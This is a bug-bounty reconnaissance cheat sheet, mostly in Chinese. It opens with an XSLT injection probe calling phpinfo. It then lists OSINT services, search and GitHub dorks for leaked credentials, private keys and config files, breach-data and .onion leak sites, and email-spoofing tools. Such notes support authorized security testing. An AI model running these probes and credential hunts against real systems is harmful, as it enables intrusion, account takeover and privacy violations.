<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<xsl:value-of name="bugbounty" select="php:function('phpinfo')"/>
</body>
</html>
信息收集
https://osintframework.com/
https://i-intelligence.eu/uploads/public-documents/OSINT_Handbook_2020.pdf
https://start.me/p/DPYPMz/the-ultimate-osint-collection
https://docs.google.com/spreadsheets/d/18rtqh8EG2q1xBo2cLNyhIDuK9jrPGwYr9DI2UncoqJQ
https://cipher387.github.io/
# Multipurpose
https://shodan.io/
https://censys.io/
https://onyphe.io/
https://app.netlas.io/
https://hunter.how/
https://fofa.so/
https://fullhunt.io/
https://www.zoomeye.org/
https://www.criminalip.io/
https://leakix.net/
https://www.yougetsignal.com/
https://intelx.io/
https://pentest-tools.com/
https://gofindwhois.com/
https://gofindwho.com/
# Public info gathering
# Track website changes
https://visualping.io/
https://web.archive.org
# Companies info
https://opencorporates.com/companies
# Domain Recon
https://www.robtex.com/
https://centralops.net
https://viewdns.info/
https://phpinfo.me/domain
http://bgp.he.net/
https://bgpview.io/
https://suip.biz/
https://dnsdumpster.com/
https://www.whoxy.com/
http://ipv4info.com/
https://rapiddns.io/
https://myip.ms/
https://www.reversewhois.io/?
https://www.whoxy.com/reverse-whois/
https://reverse-whois.whoisxmlapi.com/api
https://host.io/dashboard
https://completedns.com/dns-history/
http://multirbl.valli.org/
https://tools.emailhippo.com/
https://immuniweb.com/radar/
https://crunchbase.com/
https://www.postman.com/explore/
https://rapidapi.com/
https://serene-agnesi-57a014.netlify.app/
https://exif-viewer.com/
google语法
宽域搜索/否定搜索
site:example.com -www -shop -share -ir -mfa
带参数的 PHP 扩展
site:example.com ext:php inurl:?
应用程序接口端点
site:example[.]com inurl:api | site:*/rest | site:*/v1 | site:*/v2 | site:*/v3
多汁的扩展
site:"example[.]com" ext:log | ext:txt | ext:conf | ext:cnf | ext:ini | ext:env | ext:sh | ext:bak | ext:backup | ext:swp | ext:old | ext:~ | ext:git | ext:svn | ext:htpasswd | ext:htaccess | ext:json
高百分比 inurl 关键字
inurl:conf | inurl:env | inurl:cgi | inurl:bin | inurl:etc | inurl:root | inurl:sql | inurl:backup | inurl:admin | inurl:php site:example[.]com
服务器错误
inurl:"error" | intitle:"exception" | intitle:"failure" | intitle:"server at" | inurl:exception | "database error" | "SQL syntax" | "undefined index" | "unhandled exception" | "stack trace" site:example[.]com
易发生 XSS 的参数
inurl:q= | inurl:s= | inurl:search= | inurl:query= | inurl:keyword= | inurl:lang= inurl:& site:example.com
打开重定向容易参数
inurl:url= | inurl:return= | inurl:next= | inurl:redirect= | inurl:redir= | inurl:ret= | inurl:r2= | inurl:page= inurl:& inurl:http site:example.com
SQLi 易错参数
inurl:id= | inurl:pid= | inurl:category= | inurl:cat= | inurl:action= | inurl:sid= | inurl:dir= inurl:& site:example.com
SSRF 易损参数
inurl:http | inurl:url= | inurl:path= | inurl:dest= | inurl:html= | inurl:data= | inurl:domain= | inurl:page= inurl:& site:example.com
LFI 易损参数
`
inurl:include | inurl:dir | inurl:detail= | inurl:file= | inurl:folder= | inurl:inc= |inurl:locate= | inurl:doc= | inurl:conf= inurl:& site:example.com
易发生 RCE 的参数
`
inurl:cmd | inurl:exec= | inurl:query= | inurl:code= | inurl:do= | inurl:run= | inurl:read= | inurl:ping= inurl:& site:example.com
文件上传端点
site:example.com ”choose file”
应用程序接口文档
inurl:apidocs | inurl:api-docs | inurl:swagger | inurl:api-explorer site:"example[.]com"
登录页面
inurl:login | inurl:signin | intitle:login | intitle:signin | inurl:secure site:example[.]com
敏感文件
site:example.com ext:txt | ext:pdf | ext:xml | ext:xls | ext:xlsx | ext:ppt | ext:pptx | ext:doc | ext:docx
intext:“confidential” | intext:“Not for Public Release” | intext:”internal use only” | intext:“do not distribute”
敏感参数
inurl:email= | inurl:phone= | inurl:password= | inurl:secret= inurl:& site:example[.]com
Adobe 体验管理器(AEM)
inurl:/content/usergenerated | inurl:/content/dam | inurl:/jcr:content | inurl:/libs/granite | inurl:/etc/clientlibs | inurl:/content/geometrixx | inurl:/bin/wcm | inurl:/crx/de site:example[.]com
已披露的 XSS 和开放式重定向
site:openbugbounty.org inurl:reports intext:"example.com"
代码泄漏
site:pastebin.com "example.com"
site:jsfiddle.net "example.com"
site:codebeautify.org "example.com"
site:codepen.io "example.com"
云存储
site:s3.amazonaws.com "example.com"
site:blob.core.windows.net "example.com"
site:googleapis.com "example.com"
site:drive.google.com "example.com"
site:dev.azure.com "example[.]com"
site:onedrive.live.com "example[.]com"
site:digitaloceanspaces.com "example[.]com"
site:sharepoint.com "example[.]com"
site:s3-external-1.amazonaws.com "example[.]com"
site:s3.dualstack.us-east-1.amazonaws.com "example[.]com"
site:dropbox.com/s "example[.]com"
site:box.com/s "example[.]com"
site:docs.google.com inurl:"/d/" "example[.]com"
JFrog Artifactory
site:jfrog.io "example[.]com"
Firebase
site:firebaseio.com "example[.]com"
漏洞悬赏计划和漏洞披露计划
"submit vulnerability report" | "powered by bugcrowd" | "powered by hackerone"
site:*/security.txt "bounty"
阿帕奇服务器状态曝光
site:*/server-status apache
WordPress
inurl:/wp-admin/admin-ajax.php
Drupal
intext:"Powered by" & intext:Drupal & inurl:user
Joomla
site:*/joomla/login
shadon语法
1. org:"http://target. com"
2. http.status:"<status_code>"
3. product:"<Product_Name>"
4. port:<Port_Number> “Service_Message”
5. port:<Port_Number> “Service_Name”
6. http.component:"<Component_Name>"
7. http.component_category:"<Component_Category>
8. http.waf:"<firewall_name>"
9. http.html:"<Name>"
10. http.title:"<Title_Name>"
11. ssl.alpn:"<Protocol>"
12. http.favicon.hash:"<Favicon_Hash>"
13. net:"<Net_Range>" (for e.g. 104.16.100.52/32)
14. http://ssl.cert.subject.cn:"<http://Domain .com>"
15. asn:"<ASnumber>"
16. hostname:"<hosthame>"
17. ip:"<IP_Address>"
18. all:"<Keyword>"
19. “Set-Cookie: phpMyAdmin”
20. “Set-Cookie: lang="
21. “Set-Cookie: PHPSESSID"
22. “Set-Cookie: webvpn”
23. “Set-Cookie:webvpnlogin=1"
24. “Set-Cookie:webvpnLang=en”
25. “Set-Cookie: mongo-express="
26. “Set-Cookie: user_id="
27. “Set-Cookie: phpMyAdmin="
28. “Set-Cookie: _gitlab_session”
29. “X-elastic-product: Elasticsearch”
30. “x-drupal-cache”
31. “access-control-allow-origin”
32. “WWW-Authenticate”
33. “X-Magento-Cache-Debug”
34. “kbn-name: kibana”
github语法
api_key
“api keys”
authorization_bearer:
oauth
auth
authentication
client_secret
api_token:
“api token”
client_id
password
user_password
user_pass
passcode
client_secret
secret
password hash
OTP
user auth
#Some of the mine which I use generally
remove password
root
admin
log
trash
token
FTP_PORT
FTP_PASSWORD
DB_DATABASE=
DB_HOST=
DB_PORT=
DB_PASSWORD=
DB_PW=
DB_USER=
number
like: language:shell username
language:sql username
language:python ftp
language:bash ftp
ste:xxyz.com ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv | ext:txt | ext:html | ext:php | ext:xls`)
dotfiles
filename:sftp-config.json password
filename:.s3cfg
filename:config.php dbpasswd
filename:.bashrc password
filename:.esmtprc password
filename:.netrc password
filename:_netrc password
filename:.env MAIL_HOST=smtp.gmail.com
filename:prod.exs NOT prod.secret.exs
filename:.npmrc _auth
filename:WebServers.xml
filename:sftp-config.json
filename:.esmtprc password
filename:passwd path:etc
filename:prod.secret.exs
filename:sftp-config.json
filename:proftpdpasswd
filename:travis.yml
filename:vim_settings.xml
filename:sftp.json path:.vscode
filename:secrets.yml password
extension:sql mysql dump
extension:sql mysql dump
extension:sql mysql dump password
extension:pem private
extension:ppk private
自动化:
手动方式最适合从 Github 中查找敏感信息。但如果你想自动化这一过程,我建议你使用 GitDorker。在猎取 GitHub 的过程中,我有时也会使用这个工具。虽然它的速度有点慢,因为为了防止速率限制,Gitdocker 每分钟会发送 30 个请求。但它提供的错误结果比其他工具要少得多。
此外,你还可以使用这个工具,它给我带来了惊人的效果
$ git clone https://github.com/obheda12/GitDorker
$ python3 GitDorker.py -tf ~/Tools/.github_tokens -q united.com -p -ri -d Dorks/medium_dorks.txt
呆子名单
".mlab.com password"
"access_key"
"access_token"
"amazonaws"
"api.googlemaps AIza"
"api_key"
"api_secret"
"apidocs"
"apikey"
"apiSecret"
"app_key"
"app_secret"
"appkey"
"appkeysecret"
"application_key"
"appsecret"
"appspot"
"auth"
"auth_token"
"authorizationToken"
"aws_access"
"aws_access_key_id"
"aws_key"
"aws_secret"
"aws_token"
"AWSSecretKey"
"bashrc password"
"bucket_password"
"client_secret"
"cloudfront"
"codecov_token"
"config"
"conn.login"
"connectionstring"
"consumer_key"
"credentials"
"database_password"
"db_password"
"db_username"
"dbpasswd"
"dbpassword"
"dbuser"
"dot-files"
"dotfiles"
"encryption_key"
"fabricApiSecret"
"fb_secret"
"firebase"
"ftp"
"gh_token"
"github_key"
"github_token"
"gitlab"
"gmail_password"
"gmail_username"
"herokuapp"
"internal"
"irc_pass"
"JEKYLL_GITHUB_TOKEN"
"key"
"keyPassword"
"ldap_password"
"ldap_username"
"login"
"mailchimp"
"mailgun"
"master_key"
"mydotfiles"
"mysql"
"node_env"
"npmrc _auth"
"oauth_token"
"pass"
"passwd"
"password"
"passwords"
"pem private"
"preprod"
"private_key"
"prod"
"pwd"
"pwds"
"rds.amazonaws.com password"
"redis_password"
"root_password"
"secret"
"secret.password"
"secret_access_key"
"secret_key"
"db_password"
"db_username"
"dbpasswd"
"dbpassword"
"dbuser"
"dot-files"
"dotfiles"
"encryption_key"
"fabricApiSecret"
"fb_secret"
"firebase"
"ftp"
"gh_token"
"github_key"
"github_token"
"gitlab"
"gmail_password"
"gmail_username"
"herokuapp"
"internal"
"irc_pass"
"JEKYLL_GITHUB_TOKEN"
"key"
"keyPassword"
"ldap_password"
"ldap_username"
"login"
"mailchimp"
"mailgun"
"master_key"
"mydotfiles"
"mysql"
"node_env"
"npmrc _auth"
"oauth_token"
"pass"
"passwd"
"password"
"passwords"
"pem private"
"preprod"
"private_key"
"prod"
"pwd"
"pwds"
"rds.amazonaws.com password"
"redis_password"
"root_password"
"secret"
"secret.password"
"secret_access_key"
"secret_key"
[WFClient] Password= extension:ica
access_key
bucket_password
dbpassword
dbuser
extension:avastlic "support.avast.com"
extension:bat
extension:cfg
extension:env
extension:exs
extension:ini
extension:json api.forecast.io
extension:json googleusercontent client_secret
extension:json mongolab.com
extension:pem
extension:pem private
extension:ppk
extension:ppk private
extension:properties
extension:sh
extension:sls
extension:sql
extension:sql mysql dump
extension:sql mysql dump password
extension:yaml mongolab.com
extension:zsh
filename:.bash_history
filename:.bash_history DOMAIN-NAME
filename:.bash_profile aws
filename:.bashrc mailchimp
filename:.bashrc password
filename:.cshrc
filename:.dockercfg auth
filename:.env DB_USERNAME NOT homestead
filename:.env MAIL_HOST=smtp.gmail.com
filename:.esmtprc password
filename:.ftpconfig
filename:.git-credentials
filename:.history
filename:.htpasswd
filename:.netrc password
filename:.npmrc _auth
filename:.pgpass
filename:.remote-sync.json
filename:.s3cfg
filename:.sh_history
filename:.tugboat NOT _tugboat
filename:_netrc password
filename:apikey
filename:bash
filename:bash_history
filename:bash_profile
filename:bashrc
filename:beanstalkd.yml
filename:CCCam.cfg
filename:composer.json
filename:config
filename:config irc_pass
filename:config.json auths
filename:config.php dbpasswd
filename:configuration.php JConfig password
filename:connections
filename:connections.xml
filename:constants
filename:credentials
filename:credentials aws_access_key_id
filename:cshrc
filename:database
filename:dbeaver-data-sources.xml
filename:deployment-config.json
filename:dhcpd.conf
filename:dockercfg
filename:environment
filename:express.conf
filename:express.conf path:.openshift
filename:filezilla.xml
filename:filezilla.xml Pass
filename:git-credentials
filename:gitconfig
filename:global
filename:history
filename:htpasswd
filename:hub oauth_token
filename:id_dsa
filename:id_rsa
filename:id_rsa or filename:id_dsa
filename:idea14.key
filename:known_hosts
filename:logins.json
filename:makefile
filename:master.key path:config
filename:netrc
filename:npmrc
filename:pass
filename:passwd path:etc
filename:pgpass
filename:prod.exs
filename:prod.exs NOT prod.secret.exs
filename:prod.secret.exs
filename:proftpdpasswd
filename:recentservers.xml
filename:recentservers.xml Pass
filename:robomongo.json
filename:s3cfg
filename:secrets.yml password
filename:server.cfg
filename:server.cfg rcon password
filename:settings
filename:settings.py SECRET_KEY
filename:sftp-config.json
filename:sftp-config.json password
filename:sftp.json path:.vscode
filename:shadow
filename:shadow path:etc
filename:spec
filename:sshd_config
filename:token
filename:tugboat
filename:ventrilo_srv.ini
filename:WebServers.xml
filename:wp-config
filename:wp-config.php
filename:zhrc
HEROKU_API_KEY language:json
HEROKU_API_KEY language:shell
HOMEBREW_GITHUB_API_TOKEN language:shell
jsforce extension:js conn.login
language:yaml -filename:travis
msg nickserv identify filename:config
org:Target "AWS_ACCESS_KEY_ID"
org:Target "list_aws_accounts"
org:Target "aws_access_key"
org:Target "aws_secret_key"
org:Target "bucket_name"
org:Target "S3_ACCESS_KEY_ID"
org:Target "S3_BUCKET"
org:Target "S3_ENDPOINT"
org:Target "S3_SECRET_ACCESS_KEY"
password
path:sites databases password
private -language:java
PT_TOKEN language:bash
redis_password
root_password
secret_access_key
SECRET_KEY_BASE=
shodan_api_key language:python
WORDPRESS_DB_PASSWORD=
xoxp OR xoxb OR xoxa
s3.yml
.exs
beanstalkd.yml
deploy.rake
.sls
— — — — — -BASH — — — — — — — — — —
language:bash password
language:bash pwd
language:bash ftp
language:bash dotfiles
language:bash JDBC
language:bash key-keys
language:bash send_key-keys
language:bash send,key-keys
language:bash token
language:bash user
language:bash login-singin
language:bash passkey-passkeys
language:bash pass
language:bash secret
language:bash credentials
language:bash config
language:bash security_credentials
language:bash connectionstring
language:bash ssh2_auth_password
— — — — — — — — — — — — — — — — — — -PYTHON — — — — — — — — —
language:python password
language:python pwd
language:python ftp
language:python dotfiles
language:python JDBC
language:python key-keys
language:python send_key-keys
language:python send,key-keys
language:python token
language:python user
language:python login-singin
language:python passkey-passkeys
language:python pass
language:python secret
language:python credentials
language:python config
language:python security_credentials
language:python connectionstring
language:python ssh2_auth_password
org:facebookresearch https://
org:facebookresearch http://
org:facebookresearch ldap
org:facebookresearch ftp
org:facebookresearch sftp
org:facebookresearch host:
org:facebookresearch login
asncider-tools
asn/cidr
使用 ASN 信息快速映射组织网络范围的 Go CLI 和库
# Company string name to CIDR
# https://github.com/dhn/spk
spk -json -s "Google"
# Versatile tool with multiple input options and output formats
# https://github.com/projectdiscovery/asnmap
asnmap -i 1.3.3.7 -org GOOGLE -d facebook.com,twitter.com -a AS394161
# https://github.com/nitefood/asn
asn -n 8.8.8.8
# https://github.com/j3ssie/metabigor
echo "company" | metabigor net --org
echo "ASN1111" | metabigor net --asn
# https://github.com/yassineaboukir/Asnlookup
python asnlookup.py -m -o <Organization>
# https://github.com/harleo/asnip
asnip -t domain.com -p
# https://github.com/projectdiscovery/mapcidr
echo 10.10.10.0/24 | mapcidr
# https://github.com/eslam3kl/3klector
python 3klector.py -t company
# https://github.com/SpiderLabs/HostHunter
python3 hosthunter.py targets.txt
# Website (with API)
https://asnlookup.com/
证书泄露
# pwndb
# https://github.com/davidtavarez/pwndb
python3 pwndb.py --target [email protected]
# Websites
https://link-base.org/index.php
http://xjypo5vzgmo7jca6b322dnqbsdnp3amd24ybx26x5nxbusccjkm4pwid.onion/
http://pwndb2am4tzkvold.onion
https://weleakinfo.to/
https://www.dehashed.com/search?query=
https://haveibeenpwned.com
https://breachchecker.com
https://vigilante.pw/
https://leak.sx/
https://intelx.io
https://search.illicit.services/
https://breachdirectory.org/
breachdirectory.org + (hashes.com || md5decrypt.net || crackstation.net)# Nice combination
# Check hashes with this tool
https://github.com/jackrendor/jhf
电子邮件工具
# https://github.com/SimplySecurity/SimplyEmail
./SimplyEmail.py
pip3 install mailspoof
sudo mailspoof -d domain.com
# Test email spoof
https://emkei.cz/
# Find emails in an org
https://hunter.io
https://snov.io/email-finder
https://app.snov.io/domain-search
https://hunter.io/
# https://github.com/sham00n/buster
buster -e [email protected]
# https://github.com/m4ll0k/Infoga
python infoga.py
# https://github.com/martinvigo/email2phonenumber
python email2phonenumber.py scrape -e [email protected]
# https://github.com/jkakavas/creepy/
# https://github.com/Josue87/EmailFinder
emailfinder -d domain.com
# https://github.com/laramies/theHarvester
python3 theHarvester.py -d domain.com -b "linkedin"
GIT工具
# https://github.com/obheda12/GitDorker
python3 GitDorker.py -tf TOKENSFILE -q tesla.com -d dorks/DORKFILE -o target
# https://github.com/dxa4481/truffleHog
trufflehog https://github.com/Plazmaz/leaky-repo
trufflehog --regex --entropy=False https://github.com/Plazmaz/leaky-repo
# https://github.com/eth0izzle/shhgit
shhgit --search-query AWS_ACCESS_KEY_ID=AKIA
# https://github.com/d1vious/git-wild-hunt
python git-wild-hunt.py -s "extension:json filename:creds language:JSON"
# https://shhgit.darkport.co.uk/
# GitLab (API token required)
# https://github.com/codeEmitter/token-hunter
./token-hunter.py -g 123456
社交媒体
# Twitter
# https://github.com/twintproject/twint
twint -u username
# Google account
# https://github.com/mxrch/ghunt
python hunt.py [email protected]
# Instagram
# https://github.com/th3unkn0n/osi.ig
python3 main.py -u username
# Public GDrive docs
https://www.dedigger.com/#gsc.tab=0
# Websites
emailrep.io # Accounts registered by email
tinfoleak.com # Twitter
mostwantedhf.info # Skype
searchmy.bio # Instagram
search.carrot2.org # Results grouped by topic
boardreader.com # forums
searchcode.com # search by code in repositories
swisscows.com # semantic search engine
publicwww.com # search by source page code
psbdmp.ws # search in pastebin
kribrum.io # social-media search engine
whatsmyname.app
元数据
# https://github.com/Josue87/MetaFinder
metafinder -d "domain.com" -l 10 -go -bi -ba -o united
special-tools
决议
http://dnsbin.zhack.ca/ (DNS)
http://pingb.in/ (DNS)
https://www.mockbin.org/ (HTTP)
通配符 DNS
http://xip.io/
10.0.0.1.xip.io
www.10.0.0.1.xip.io
mysite.10.0.0.1.xip.io
foo.bar.10.0.0.1.xip.io
http://nip.io/
10.0.0.1.nip.io
app.10.0.0.1.nip.io
customer1.app.10.0.0.1.nip.io
customer2.app.10.0.0.1.nip.io
otherapp.10.0.0.1.nip.io
others
https://spyse.com/(全面侦察服务)
https://dnsdumpster.com/ (DNS 和子域重组)
反向 IP 查询(Domainmonitor)
安全标头(安全报告、标头丢失)
http://threatcrowd.org/ (WHOIS、DNS、电子邮件和子域重组)
https://mxtoolbox.com/ (多种 DNS 相关重组工具)
https://publicwww.com/ (源代码搜索引擎)
http://ipv4info.com/ (在公司/组织拥有的 IP 块中查找域名)
HackerTarget 工具(DNS 重组、网站查询和扫描工具)
VirusTotal(WHOIS、DNS 和子域侦察)
crt.sh(SSL 证书搜索)
谷歌 CT(SSL 证书透明度搜索)
PenTest 工具(Google )
Wayback Machine(查找过去在该域名上托管的内容)
查找子域(使用域或关键字查找子域)
graphql-api
graph是api中一种查询语言,可以用来查询和操作数据,是一种强类型的语言,可以用来描述数据的结构和操作数据的方式,是一种类似于json的语言,但是比json更加强大,可以用来描述数据的结构和操作数据的方式。 【翻译】GraphQL API 漏洞的常见攻击方法总结

